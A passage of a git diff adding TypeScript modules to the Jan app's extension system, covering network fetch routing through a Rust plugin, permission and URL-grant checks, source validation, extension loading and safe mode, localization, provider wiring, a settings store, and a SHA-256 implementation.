plugin takes 1-64 characters. */+export const newRequestId = () => crypto.randomUUID()++/**+ * How much of a streamed body may sit unread before the request is+ * cancelled. The AI SDK reads promptly; a body nobody reads would+ * otherwise buffer up to Rust's per-stream cap, per request.+ */+export const MAX_UNREAD_BYTES = 8 * 1024 * 1024++const abortReason = (signal: AbortSignal): unknown =>+ signal.reason ?? new DOMException('The request was aborted', 'AbortError')++/**+ * Aborts when any of `signals` does. `AbortSignal.any` needs WebKitGTK+ * 2.44 / Safari 17.4, older than some webviews Jan runs in. `dispose`+ * detaches from the inputs, which may outlive the request (the extension's+ * stop signal does).+ */+export function combineSignals(signals: (AbortSignal | null | undefined)[]): {+ signal: AbortSignal | undefined+ dispose: () => void+} {+ const present = signals.filter((s): s is AbortSignal => s != null)+ if (present.length <= 1) return { signal: present[0], dispose: () => {} }+ const controller = new AbortController()+ const detach: (() => void)[] = []+ const dispose = () => detach.splice(0).forEach((d) => d())+ for (const s of present) {+ if (s.aborted) {+ controller.abort(s.reason)+ break+ }+ const onAbort = () => {+ dispose()+ controller.abort(s.reason)+ }+ s.addEventListener('abort', onAbort, { once: true })+ detach.push(() => s.removeEventListener('abort', onAbort))+ }+ if (controller.signal.aborted) dispose()+ return { signal: controller.signal, dispose }+}++/**+ * Sends one hop through `httpFetch` (whole body, 1 MiB, 30 s). Aborting+ * `signal` cancels it in Rust; the rejection is then the abort reason.+ */+export async function fetchHop(+ http: ExtensionHttp,+ extensionId: string,+ hop: Hop,+ signal: AbortSignal | undefined+): Promise<Plugin.HttpResponse> {+ if (signal?.aborted) throw abortReason(signal)+ const requestId = newRequestId()+ const cancel = () =>+ void http.httpCancel(extensionId, requestId).catch(() => undefined)+ signal?.addEventListener('abort', cancel, { once: true })+ try {+ return await http.httpFetch(extensionId, toPluginRequest(hop), requestId)+ } catch (error) {+ if (signal?.aborted) throw abortReason(signal)+ throw toExtensionError(error)+ } finally {+ signal?.removeEventListener('abort', cancel)+ }+}++interface StreamHead {+ status: number+ headers: Record<string, string>+ body: ReadableStream<Uint8Array>+ /** Settles once Rust is done with the request, however it ended. */+ finished: Promise<void>+}++/**+ * Starts `hop` through `httpFetchStream` and resolves at its head with the+ * body as a byte stream. Aborting `signal`, cancelling the body or leaving+ * more than MAX_UNREAD_BYTES unread cancels the request in Rust.+ */+function openStream(+ http: ExtensionHttp,+ extensionId: string,+ hop: Hop,+ signal: AbortSignal | undefined+): Promise<StreamHead> {+ if (signal?.aborted) return Promise.reject(abortReason(signal))+ const requestId = newRequestId()+ const encoder = new TextEncoder()+ let controller: ReadableStreamDefaultController<Uint8Array> | undefined+ // Once the body is closed, errored or cancelled, events are dropped.+ let open = true+ let running = true+ let finish = () => {}+ const finished = new Promise<void>((resolve) => (finish = resolve))+ const cancelRequest = () => {+ if (!running) return+ running = false+ void http.httpCancel(extensionId, requestId).catch(() => undefined)+ }+ const body = new ReadableStream<Uint8Array>(+ {+ start(c) {+ controller = c+ },+ cancel() {+ open = false+ cancelRequest()+ },+ },+ { highWaterMark: MAX_UNREAD_BYTES, size: (chunk) => chunk.byteLength }+ )+ const settle = (end: (c: ReadableStreamDefaultController<Uint8Array>) => void) => {+ if (!open || !controller) return+ open = false+ end(controller)+ }+ const enqueue = (data: string) => {+ if (!open || !controller) return+ controller.enqueue(encoder.encode(data))+ if ((controller.desiredSize ?? 0) >= 0) return+ cancelRequest()+ settle((c) =>+ c.error(+ new ExtensionError(+ 'E_TOO_LARGE',+ `More than ${MAX_UNREAD_BYTES} bytes of the response were left unread`+ )+ )+ )+ }+ return new Promise<StreamHead>((resolve, reject) => {+ let head = false+ const onAbort = () => {+ cancelRequest()+ const reason = abortReason(signal as AbortSignal)+ if (head) settle((c) => c.error(reason))+ else reject(reason)+ }+ signal?.addEventListener('abort', onAbort, { once: true })+ const done = () => {+ running = false+ signal?.removeEventListener('abort', onAbort)+ finish()+ }+ http+ .httpFetchStream(extensionId, requestId, toPluginRequest(hop), (event) => {+ switch (event.event) {+ case 'head':+ head = true+ resolve({ status: event.status, headers: event.headers, body, finished })+ break+ case 'chunk':+ enqueue(event.data)+ break+ case 'end':+ done()+ settle((c) => c.close())+ break+ case 'error':+ done()+ settle((c) => c.error(toExtensionError(event)))+ break+ }+ })+ .then(+ () => {+ done()+ if (!head)+ reject(+ new ExtensionError('E_INTERNAL', 'The request ended without a response')+ )+ },+ (error: unknown) => {+ done()+ const failure = toExtensionError(error)+ if (head) settle((c) => c.error(failure))+ else reject(failure)+ }+ )+ })+}++/**+ * `stream` (inference) streams the body back as Rust reads it; `whole`+ * (model listing, key tests) reads it at once through `httpFetch`, so its+ * 30 s timeout and 1 MiB cap apply.+ */+export type ProviderFetchMode = 'stream' | 'whole'++export interface ProviderFetchDeps {+ extensionId: string+ http: ExtensionHttp+ /** Throws unless the extension's grants allow `url`. */+ checkUrl: (url: string) => void+ /** Aborts every request when the extension stops. */+ stopped?: AbortSignal+ mode?: ProviderFetchMode+}++const responseBody = <T>(status: number, body: T): T | null =>+ NULL_BODY_STATUSES.has(status) ? null : body++/**+ * A `fetch` for the AI SDK that sends a contributed provider's requests+ * through the extension's own network path: every URL and every redirect+ * hop is checked against its grants, and in `stream` mode the body streams+ * back (SSE) as Rust reads it. Aborting the request, or the extension+ * stopping, cancels it in Rust.+ */+export function createProviderFetch(+ deps: ProviderFetchDeps+): typeof globalThis.fetch {+ const { extensionId, http, mode = 'stream' } = deps+ return async (input, init = {}) => {+ if (input instanceof Request)+ throw new TypeError('Extension providers take a URL, not a Request')+ if (init.body != null && typeof init.body !== 'string')+ throw new TypeError('Extension provider requests need a text body')+ const { signal, dispose } = combineSignals([init.signal, deps.stopped])+ try {+ let hop = firstHop(+ String(input),+ init.method ?? 'GET',+ init.headers,+ init.body ?? undefined+ )+ for (let redirects = 0; ; redirects++) {+ if (signal?.aborted) throw abortReason(signal)+ deps.checkUrl(hop.url)+ if (mode === 'whole') {+ const r = await fetchHop(http, extensionId, hop, signal)+ const next = nextHop(hop, r.status, r.headers.location, redirects)+ if (next) {+ hop = next+ continue+ }+ dispose()+ return new Response(responseBody(r.status, r.body), {+ status: r.status,+ headers: withoutCookies(r.headers),+ })+ }+ const head = await openStream(http, extensionId, hop, signal)+ const next = nextHop(hop, head.status, head.headers.location, redirects)+ if (next) {+ void head.body.cancel()+ hop = next+ continue+ }+ let response: Response+ try {+ response = new Response(responseBody(head.status, head.body), {+ status: head.status,+ headers: withoutCookies(head.headers),+ })+ } catch (error) {+ // A header value that is not Latin-1 (Rust decodes lossily) or a+ // status a Response cannot carry: nothing will read this body.+ void head.body.cancel()+ throw error+ }+ void head.finished.then(dispose)+ return response+ }+ } catch (error) {+ dispose()+ throw error+ }+ }+}diff --git a/web-app/src/lib/extensions/index-sources.ts b/web-app/src/lib/extensions/index-sources.tsnew file mode 100644index 000000000..1694c4bed--- /dev/null+++ b/web-app/src/lib/extensions/index-sources.ts@@ -0,0 +1,70 @@+import type { IndexVersion } from '@/services/extensions/types'++export interface SourceInput {+ url: string+ name: string+ publicKey?: string+}++/** Error codes per field; each maps to `extensions:sources.errors.<code>`. */+export interface SourceErrors {+ url?: 'invalidUrl' | 'notHttps' | 'credentials'+ name?: 'required'+ publicKey?: 'invalidKey'+}++// An ed25519 public key is 32 bytes: 43 base64 characters plus one '='.+const ED25519_KEY = /^[A-Za-z0-9+/]{42}[AEIMQUYcgkosw048]=$/++/**+ * Checks a source before it is sent to the plugin, which checks again.+ * Unlike extension network grants, localhost gets no http exception: an+ * index decides what code gets installed, so it is only fetched over https.+ */+export function validateSource(input: SourceInput): SourceErrors {+ const errors: SourceErrors = {}+ let url: URL | undefined+ try {+ url = new URL(input.url.trim())+ } catch {+ errors.url = 'invalidUrl'+ }+ if (url) {+ if (url.protocol !== 'https:') errors.url = 'notHttps'+ else if (url.username || url.password) errors.url = 'credentials'+ }+ if (!input.name.trim()) errors.name = 'required'+ const key = input.publicKey?.trim()+ if (key && !ED25519_KEY.test(key)) errors.publicKey = 'invalidKey'+ return errors+}++const parts = (version: string) => {+ const [core, pre] = version.split('-', 2)+ return { nums: core.split('.').map(Number), pre }+}++/** semver precedence for the plain `MAJOR.MINOR.PATCH[-pre]` an index lists. */+export function compareVersions(a: string, b: string): number {+ const x = parts(a)+ const y = parts(b)+ for (let i = 0; i < 3; i++) {+ const d = (x.nums[i] ?? 0) - (y.nums[i] ?? 0)+ if (d !== 0) return d+ }+ if (x.pre === y.pre) return 0+ if (x.pre === undefined) return 1+ if (y.pre === undefined) return -1+ return x.pre < y.pre ? -1 : 1+}++/** The version a catalog offers to install. */+export function latestVersion(+ versions: readonly IndexVersion[]+): IndexVersion | undefined {+ return versions.reduce<IndexVersion | undefined>(+ (best, v) =>+ !best || compareVersions(v.version, best.version) > 0 ? v : best,+ undefined+ )+}diff --git a/web-app/src/lib/extensions/installed-loader.ts b/web-app/src/lib/extensions/installed-loader.tsnew file mode 100644index 000000000..9604423c9--- /dev/null+++ b/web-app/src/lib/extensions/installed-loader.ts@@ -0,0 +1,157 @@+import {+ isPermissionString,+ validateManifest,+ type PermissionString,+ type ValidatedManifest,+} from '@janhq/extension-api'+import type * as Plugin from '@janhq/tauri-plugin-extensions-api'+import type { ExtensionHost } from './host'++/** What the loader reads: the registry and the hash-checked entry files. */+export type InstalledRegistry = Pick<typeof Plugin, 'list' | 'readEntry'>++/** A plugin rejection (`{ kind, message }`), an Error or anything else. */+export const errorText = (error: unknown): string =>+ error instanceof Error+ ? error.message+ : typeof error === 'object' && error !== null && 'message' in error+ ? String((error as { message: unknown }).message)+ : String(error)++/**+ * The manifest of an installed version, as this host reads it. Rust checked+ * it at install time; the TS rules run again because they are the ones the+ * host enforces, and the files must still be the version the registry+ * names.+ */+export function installedManifest(+ entry: Pick<Plugin.InstalledExtension, 'id' | 'version' | 'manifest'>+): { ok: true; manifest: ValidatedManifest } | { ok: false; error: string } {+ const result = validateManifest(entry.manifest)+ if (!result.ok)+ return {+ ok: false,+ error: result.errors.map((e) => `${e.path}: ${e.message}`).join('; '),+ }+ const { manifest } = result+ if (manifest.id !== entry.id || manifest.version !== entry.version)+ return {+ ok: false,+ error: `the files are ${manifest.id}@${manifest.version}, the registry names ${entry.id}@${entry.version}`,+ }+ return { ok: true, manifest }+}++/** Grants as the host types them; anything malformed is dropped. */+export const toPermissions = (granted: readonly string[]): PermissionString[] =>+ granted.filter(isPermissionString)++/**+ * Stands in for a manifest the host refused, so the failure still has an+ * entry, with the registry's id and version, to show under.+ */+const placeholderManifest = (+ entry: Pick<Plugin.InstalledExtension, 'id' | 'version'>+): ValidatedManifest => ({+ name: entry.id,+ version: entry.version,+ id: entry.id,+ displayName: entry.id,+ publisher: '',+ apiVersion: '',+ main: '',+ permissions: [],+})++async function loadOne(+ host: ExtensionHost,+ registry: InstalledRegistry,+ entry: Plugin.InstalledExtension+): Promise<void> {+ const checked = installedManifest(entry)+ if (!checked.ok) {+ await host.markFailed(placeholderManifest(entry), new Error(checked.error))+ return+ }+ const { manifest } = checked+ try {+ const { code } = await registry.readEntry(entry.id)+ // The host refuses an incompatible apiVersion before any worker starts.+ await host.spawnWorkerExtension({+ manifest,+ bundle: code,+ grants: toPermissions(entry.granted),+ source: 'installed',+ })+ } catch (error) {+ await host.markFailed(manifest, new Error(errorText(error)))+ }+}++/** The enabled installed extensions; none in safe mode or when unreadable. */+export async function enabledInstalled(+ registry: InstalledRegistry+): Promise<Plugin.InstalledExtension[]> {+ let listed: Plugin.ListResult+ try {+ listed = await registry.list()+ } catch (error) {+ console.error('Could not read the installed extensions:', errorText(error))+ return []+ }+ return listed.safeMode ? [] : listed.extensions.filter((e) => e.enabled)+}++/**+ * Starts installed extension `id` in a worker as the registry has it now,+ * unless it is disabled, uninstalled or in safe mode. A failure is recorded+ * on the extension (`failed` with the reason).+ */+export async function startInstalled(+ host: ExtensionHost,+ registry: InstalledRegistry,+ id: string+): Promise<void> {+ const entry = (await enabledInstalled(registry)).find((e) => e.id === id)+ if (entry) await loadOne(host, registry, entry)+}++/** What turning safe mode on or off needs of the extensions service. */+export interface SafeModeService {+ setSafeMode(on: boolean): Promise<void>+ list(): Promise<{ extensions: readonly { id: string }[] }>+}++/**+ * Turns safe mode on or off and applies it to what runs now, so it does not+ * wait for a restart. The flag is saved first; if that fails nothing+ * running changes. On stops every installed extension, releasing its+ * contributions; off starts the enabled ones as at startup. Built-ins and+ * development copies are left alone.+ *+ * Both go through `host.reload`, which re-reads the registry after any+ * reload of the same id already running. So a start that read the registry+ * before the flag changed is followed by one that sees it, and ends+ * stopped. The ids come from the registry as well as the host, because+ * such a start may not have reached the host yet.+ */+export async function applySafeMode(+ host: Pick<ExtensionHost, 'list' | 'reload' | 'loadInstalled'>,+ service: SafeModeService,+ on: boolean+): Promise<void> {+ await service.setSafeMode(on)+ if (!on) return host.loadInstalled()+ const ids = new Set(+ host+ .list()+ .filter((e) => e.source === 'installed')+ .map((e) => e.id)+ )+ try {+ for (const e of (await service.list()).extensions) ids.add(e.id)+ } catch (error) {+ console.error('Could not read the installed extensions:', errorText(error))+ }+ await Promise.allSettled([...ids].map((id) => host.reload(id)))+}diff --git a/web-app/src/lib/extensions/installed-reload.ts b/web-app/src/lib/extensions/installed-reload.tsnew file mode 100644index 000000000..2a2bd482b--- /dev/null+++ b/web-app/src/lib/extensions/installed-reload.ts@@ -0,0 +1,11 @@+import { getExtensionHost } from './host'++/**+ * Brings the running copy of an installed extension in line with the+ * registry after the page changed it (enable, grants, install, update,+ * rollback, uninstall): stopped, then started again from the registry when+ * it is still installed and enabled.+ */+export function reloadInstalled(extensionId: string): Promise<void> {+ return getExtensionHost().reload(extensionId)+}diff --git a/web-app/src/lib/extensions/l10n.ts b/web-app/src/lib/extensions/l10n.tsnew file mode 100644index 000000000..f5e3c6c6c--- /dev/null+++ b/web-app/src/lib/extensions/l10n.ts@@ -0,0 +1,72 @@+import { useCallback } from 'react'+import type { JanManifest } from '@janhq/extension-api'+import { useGeneralSetting } from '@/hooks/useGeneralSetting'++export type L10nTables = JanManifest['l10n']++/** Anything that carries an extension's `l10n` tables, a manifest included. */+export interface Localizable {+ l10n?: L10nTables+}++const REF = /^%([A-Za-z0-9_.-]+)%$/+const FALLBACK = 'en'++// Own properties only: locales and keys come from the extension, and+// `constructor` must not resolve to what every object inherits.+const lookup = (+ tables: Readonly<Record<string, Readonly<Record<string, string>>>>,+ locale: string,+ key: string+): string | undefined => {+ if (!Object.prototype.hasOwnProperty.call(tables, locale)) return undefined+ const table = tables[locale]+ return Object.prototype.hasOwnProperty.call(table, key)+ ? table[key]+ : undefined+}++/**+ * `text` with a whole-string `%key%` replaced from `tables`: the language,+ * then its base (`de` for `de-DE`), then `en`. Anything else, an unknown+ * key included, is returned as written.+ */+export function resolveL10n(+ tables: L10nTables,+ text: string,+ language: string+): string {+ const ref = REF.exec(text)+ if (!ref || !tables) return text+ const key = ref[1]+ const base = language.split('-')[0]+ for (const locale of [language, base, FALLBACK]) {+ const value = lookup(tables, locale, key)+ if (value !== undefined) return value+ }+ return text+}++/** Resolves in the current app language, for code outside React. */+export function localize(holder: Localizable | undefined, text: string): string {+ return resolveL10n(+ holder?.l10n,+ text,+ useGeneralSetting.getState().currentLanguage+ )+}++/**+ * A resolver in the current app language for components. The component+ * re-renders, and its memos see a new resolver, when the language changes.+ */+export function useLocalize(): (+ holder: Localizable | undefined,+ text: string+) => string {+ const language = useGeneralSetting((s) => s.currentLanguage)+ return useCallback(+ (holder, text) => resolveL10n(holder?.l10n, text, language),+ [language]+ )+}diff --git a/web-app/src/lib/extensions/permissions.ts b/web-app/src/lib/extensions/permissions.tsnew file mode 100644index 000000000..435981cc4--- /dev/null+++ b/web-app/src/lib/extensions/permissions.ts@@ -0,0 +1,136 @@+import {+ isLocalHost,+ isPermissionString,+ networkHostMatches,+ networkHostOf,+ type PermissionKind,+ type PermissionString,+} from '@janhq/extension-api'++export type PermissionRisk = 'low' | 'medium' | 'high'++export interface PermissionInfo {+ risk: PermissionRisk+ /** i18n keys in the `extensions` namespace, for consent and settings. */+ titleKey: string+ descriptionKey: string+}++/** What each permission grants, how risky it is, and how to explain it. */+export const PERMISSIONS: Record<PermissionKind, PermissionInfo> = {+ 'ui:notify': {+ risk: 'low',+ titleKey: 'extensions:permissions.uiNotify.title',+ descriptionKey: 'extensions:permissions.uiNotify.description',+ },+ 'network': {+ risk: 'medium',+ titleKey: 'extensions:permissions.network.title',+ descriptionKey: 'extensions:permissions.network.description',+ },+ 'providers': {+ risk: 'medium',+ titleKey: 'extensions:permissions.providers.title',+ descriptionKey: 'extensions:permissions.providers.description',+ },+ 'tools': {+ risk: 'high',+ titleKey: 'extensions:permissions.tools.title',+ descriptionKey: 'extensions:permissions.tools.description',+ },+ 'conversations:read': {+ risk: 'high',+ titleKey: 'extensions:permissions.conversationsRead.title',+ descriptionKey: 'extensions:permissions.conversationsRead.description',+ },+ 'conversations:write': {+ risk: 'high',+ titleKey: 'extensions:permissions.conversationsWrite.title',+ descriptionKey: 'extensions:permissions.conversationsWrite.description',+ },+ 'chat:hooks': {+ risk: 'high',+ titleKey: 'extensions:permissions.chatHooks.title',+ descriptionKey: 'extensions:permissions.chatHooks.description',+ },+}++export type ParsedPermission =+ | { kind: Exclude<PermissionKind, 'network'> }+ | { kind: 'network'; host: string }++/** Splits a permission into its kind and, for network, its host grant. */+export function parsePermission(value: string): ParsedPermission | undefined {+ if (!isPermissionString(value)) return undefined+ const host = networkHostOf(value)+ if (host !== undefined) return { kind: 'network', host }+ return { kind: value as Exclude<PermissionKind, 'network'> }+}++/** `network:*` reaches any host, so it rates above a named one. */+export function riskOf(permission: PermissionString): PermissionRisk {+ if (permission === 'network:*') return 'high'+ const parsed = parsePermission(permission)+ return parsed ? PERMISSIONS[parsed.kind].risk : 'high'+}++/**+ * Whether `grant` covers a local host, and so the port of Jan's own local+ * API server. That server is always refused (see `matchesNetwork`); the+ * consent screen says so next to such a grant.+ */+export function reachesLocalApiServer(grant: PermissionString): boolean {+ const host = networkHostOf(grant)+ return (+ host !== undefined &&+ (host === '*' || isLocalHost(host))+ )+}++const DEFAULT_PORTS: Record<string, number> = { 'http:': 80, 'https:': 443 }++/**+ * Whether the grant `grant` allows a request to `url`. https is required+ * except for localhost/127.0.0.1, where http is allowed too (a local+ * server rarely has a certificate). URLs with credentials are refused:+ * nothing legitimate needs them, and they hide the real host from a reader.+ * `localApiPort` is the port of Jan's own local API server, which proxies+ * with the user's provider keys: no grant reaches it on a local host.+ */+export function matchesNetwork(+ grant: PermissionString,+ url: string,+ localApiPort?: number+): boolean {+ const host = networkHostOf(grant)+ if (host === undefined) return false+ let parsed: URL+ try {+ parsed = new URL(url)+ } catch {+ return false+ }+ if (parsed.username || parsed.password) return false+ const hostname = parsed.hostname+ const scheme = parsed.protocol+ if (scheme !== 'https:' && !(scheme === 'http:' && isLocalHost(hostname)))+ return false+ if (localApiPort !== undefined && isLocalHost(hostname)) {+ const port = parsed.port ? Number(parsed.port) : DEFAULT_PORTS[scheme]+ if (port === localApiPort) return false+ }+ return networkHostMatches(host, hostname)+}++/** What an update asks for beyond, and drops from, what was granted. */+export function diffPermissions(+ previous: readonly PermissionString[],+ next: readonly PermissionString[]+): { added: PermissionString[]; removed: PermissionString[] } {+ const before = new Set(previous)+ const after = new Set(next)+ return {+ added: next.filter((p) => !before.has(p)),+ removed: previous.filter((p) => !after.has(p)),+ }+}diff --git a/web-app/src/lib/extensions/providers.ts b/web-app/src/lib/extensions/providers.tsnew file mode 100644index 000000000..0ffbd7888--- /dev/null+++ b/web-app/src/lib/extensions/providers.ts@@ -0,0 +1,122 @@+import {+ DEFAULT_MODEL_CAPABILITIES,+ type ProviderContribution,+ type ProviderModel,+} from '@janhq/extension-api'+import { i18n } from '@/i18n/react-i18next-compat'+import { own, type ContributionState } from './contributions'+import { getExtensionHost } from './host'+import type { ProviderFetchMode } from './http'+import { localize } from './l10n'++/**+ * The provider name a contributed provider gets in `useModelProvider`.+ * Namespaced by extension so it can never take over a built-in or a+ * user-created provider of the same name.+ */+export const extensionProviderName = (extensionId: string, providerId: string) =>+ `${extensionId}/${providerId}`++/**+ * The `fetch` for a provider an extension contributed, or undefined for any+ * other provider. Every request then runs on the extension's own network+ * path (`ExtensionHost.providerFetch`): its grants are checked on each URL+ * and redirect hop, so a granted host cannot bounce a chat to Jan's local+ * API server or any other port, and no cookie jar is attached. Throws when+ * the extension has no network path: it is not running, or it was loaded+ * for development. `whole` suits short JSON requests (model listing, key+ * tests): they get the plugin's 30 s timeout instead of the stream's.+ */+export function extensionProviderFetch(+ provider: Pick<ModelProvider, 'provider' | 'source'>,+ mode: ProviderFetchMode+): typeof globalThis.fetch | undefined {+ if (!provider.source) return undefined+ const fetch = getExtensionHost().providerFetch(+ provider.source.extensionId,+ mode+ )+ if (!fetch)+ throw new Error(+ i18n.t('model-errors:extensionProviderUnavailable', {+ provider: provider.provider,+ })+ )+ return fetch+}++/** A contributed provider whose extension has activated it. */+export interface ActiveExtensionProvider {+ extensionId: string+ /** The manifest `displayName` of the extension, in the app language. */+ extensionName: string+ contribution: ProviderContribution+}++/**+ * Every provider an extension declared and bound, in a stable order, its+ * names resolved in the current app language.+ */+export function listExtensionProviders(+ state: ContributionState+): ActiveExtensionProvider[] {+ const result: ActiveExtensionProvider[] = []+ for (const extensionId of Object.keys(state.providers).sort()) {+ const providers = state.providers[extensionId]+ const extension = own(state.extensions, extensionId)+ const extensionName = extension+ ? localize(extension, extension.displayName)+ : extensionId+ for (const id of Object.keys(providers).sort()) {+ const { handler, ...declared } = providers[id]+ if (!handler) continue+ const contribution = {+ ...declared,+ displayName: localize(extension, declared.displayName),+ }+ result.push({ extensionId, extensionName, contribution })+ }+ }+ return result+}++/**+ * The `useModelProvider` entry of a contributed provider: OpenAI-compatible,+ * so the host's model factory runs inference against `baseUrl` itself (on+ * `extensionProviderFetch`) and no token streams over RPC. It carries no+ * settings of its own; the base URL is fixed by the manifest and the key+ * lives in the extension's settings. A model's capabilities come from its+ * `listModels` entry, else from the provider's declaration, else+ * `['completion']`; chat offers tools only to a model with `tools`.+ */+export function toModelProvider(+ provider: ActiveExtensionProvider,+ models: ProviderModel[],+ apiKey: string | undefined+): ModelProvider {+ return {+ provider: extensionProviderName(+ provider.extensionId,+ provider.contribution.id+ ),+ display_name: provider.contribution.displayName,+ active: true,+ base_url: provider.contribution.baseUrl,+ api_key: apiKey || undefined,+ settings: [],+ models: models.map((m) => ({+ id: m.id,+ name: m.displayName ?? m.id,+ displayName: m.displayName,+ capabilities: [+ ...(m.capabilities ??+ provider.contribution.capabilities ??+ DEFAULT_MODEL_CAPABILITIES),+ ],+ })),+ source: {+ extensionId: provider.extensionId,+ extensionName: provider.extensionName,+ },+ }+}diff --git a/web-app/src/lib/extensions/settings-store.ts b/web-app/src/lib/extensions/settings-store.tsnew file mode 100644index 000000000..ec3dedab6--- /dev/null+++ b/web-app/src/lib/extensions/settings-store.ts@@ -0,0 +1,169 @@+import {+ Emitter,+ ExtensionError,+ toDisposable,+ type Disposable,+ type Event,+ type SettingContribution,+ type SettingValue,+ type ValidatedManifest,+} from '@janhq/extension-api'++/** The subset of `@janhq/core` `appSettings` the store needs. */+export interface AppSettingsBackend {+ get(key: string): Promise<string | null>+ set(key: string, value: string): Promise<void>+}++/** The OS keyring; an empty value deletes the entry, as `set_secret` does. */+export interface SecretBackend {+ get(key: string): Promise<string | null>+ set(key: string, value: string): Promise<void>+}++export interface SettingChange {+ extensionId: string+ key: string+ value: SettingValue+}++const settingsKey = (extensionId: string) => `extension:${extensionId}:settings`+const secretKey = (extensionId: string, key: string) =>+ `ext:${extensionId}:${key}`++function fitsControl(+ setting: SettingContribution,+ value: SettingValue+): boolean {+ const control = setting.control+ switch (control.type) {+ case 'input':+ case 'textarea':+ return typeof value === 'string'+ case 'checkbox':+ return typeof value === 'boolean'+ case 'dropdown':+ return (+ typeof value === 'string' &&+ control.options.some((o) => o.value === value)+ )+ case 'slider':+ return (+ typeof value === 'number' &&+ value >= control.min &&+ value <= control.max+ )+ }+}++/**+ * Setting values of host extensions. Schemas come from the manifests; only+ * values are stored: plain ones as one JSON object per extension in+ * `<jan_data>/settings.json`, secret ones in the OS keyring so they never+ * touch a file.+ */+export class ExtensionSettingsStore {+ private readonly schemas = new Map<string, Map<string, SettingContribution>>()+ // Each extension's values load once; later reads hit the cache, which every+ // write keeps current.+ private readonly values = new Map<+ string,+ Promise<Record<string, SettingValue>>+ >()+ private readonly changes = new Emitter<SettingChange>()+ private writes: Promise<unknown> = Promise.resolve()++ readonly onDidChange: Event<SettingChange> = this.changes.event++ constructor(+ private readonly backends: {+ appSettings: AppSettingsBackend+ secrets: SecretBackend+ }+ ) {}++ /** Makes the declared settings of `manifest` readable; dispose to forget them. */+ register(manifest: ValidatedManifest): Disposable {+ const { id } = manifest+ const schema = new Map(+ (manifest.contributes?.settings ?? []).map((s) => [s.key, s])+ )+ this.schemas.set(id, schema)+ return toDisposable(() => {+ if (this.schemas.get(id) !== schema) return+ this.schemas.delete(id)+ this.values.delete(id)+ })+ }++ /** The stored value, else the manifest default; undefined for an undeclared key. */+ async getSettingValue(+ extensionId: string,+ key: string+ ): Promise<SettingValue | undefined> {+ const setting = this.schemas.get(extensionId)?.get(key)+ if (!setting) return undefined+ if (setting.secret) {+ return (+ (await this.backends.secrets.get(secretKey(extensionId, key))) ??+ setting.control.default+ )+ }+ const stored = (await this.load(extensionId))[key]+ return stored ?? setting.control.default+ }++ async setSettingValue(+ extensionId: string,+ key: string,+ value: SettingValue+ ): Promise<void> {+ const setting = this.schemas.get(extensionId)?.get(key)+ if (!setting)+ throw new ExtensionError(+ 'E_NOT_FOUND',+ `Setting '${key}' is not declared`+ )+ if (!fitsControl(setting, value)) {+ throw new ExtensionError(+ 'E_INVALID_ARGS',+ `Value for '${key}' does not fit its ${setting.control.type} control`+ )+ }+ if (setting.secret) {+ await this.backends.secrets.set(+ secretKey(extensionId, key),+ value as string+ )+ } else {+ // Serialized so concurrent writes of different keys both land.+ const run = this.writes.then(async () => {+ const current = await this.load(extensionId)+ const next = { ...current, [key]: value }+ await this.backends.appSettings.set(+ settingsKey(extensionId),+ JSON.stringify(next)+ )+ this.values.set(extensionId, Promise.resolve(next))+ })+ this.writes = run.catch(() => undefined)+ await run+ }+ this.changes.fire({ extensionId, key, value })+ }++ private load(extensionId: string): Promise<Record<string, SettingValue>> {+ let loaded = this.values.get(extensionId)+ if (!loaded) {+ loaded = this.backends.appSettings+ .get(settingsKey(extensionId))+ .then((raw) =>+ raw ? (JSON.parse(raw) as Record<string, SettingValue>) : {}+ )+ // A failed read must not be cached, or the extension stays on defaults.+ loaded.catch(() => this.values.delete(extensionId))+ this.values.set(extensionId, loaded)+ }+ return loaded+ }+}diff --git a/web-app/src/lib/extensions/sha256.ts b/web-app/src/lib/extensions/sha256.tsnew file mode 100644index 000000000..8732ce233--- /dev/null+++ b/web-app/src/lib/extensions/sha256.ts@@ -0,0 +1,75 @@+// SHA-256 (FIPS 180-4), synchronous. Web Crypto's digest is async only, and+// tool wire names are derived where a promise cannot be awaited (a store+// selector). Inputs are short (an extension id and a tool name).++const K = Uint32Array.from([+ 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1,+ 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3,+ 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786,+ 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,+ 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147,+ 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13,+ 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b,+ 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,+ 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a,+ 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208,+ 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2,+])++const INITIAL = [+ 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c,+ 0x1f83d9ab, 0x5be0cd19,+]++const rotr = (x: number, n: number) => (x >>> n) | (x << (32 - n))++/** The SHA-256 digest of `bytes`, as 64 lowercase hex digits. */+export function sha256Hex(bytes: Uint8Array): string {+ // Message, 0x80, zero padding, then the bit length as a 64-bit big-endian+ // integer, to a multiple of 64 bytes.+ const blocks = Math.ceil((bytes.length + 9) / 64)+ const padded = new Uint8Array(blocks * 64)+ padded.set(bytes)+ padded[bytes.length] = 0x80+ const view = new DataView(padded.buffer)+ const bits = bytes.length * 8+ view.setUint32(padded.length - 8, Math.floor(bits / 0x100000000))+ view.setUint32(padded.length - 4, bits >>> 0)++ const h = Uint32Array.from(INITIAL)+ const w = new Uint32Array(64)+ for (let offset = 0; offset < padded.length; offset += 64) {+ for (let t = 0; t < 16; t++) w[t] = view.getUint32(offset + t * 4)+ for (let t = 16; t < 64; t++) {+ const s0 = rotr(w[t - 15], 7) ^ rotr(w[t - 15], 18) ^ (w[t - 15] >>> 3)+ const s1 = rotr(w[t - 2], 17) ^ rotr(w[t - 2], 19) ^ (w[t - 2] >>> 10)+ w[t] = w[t - 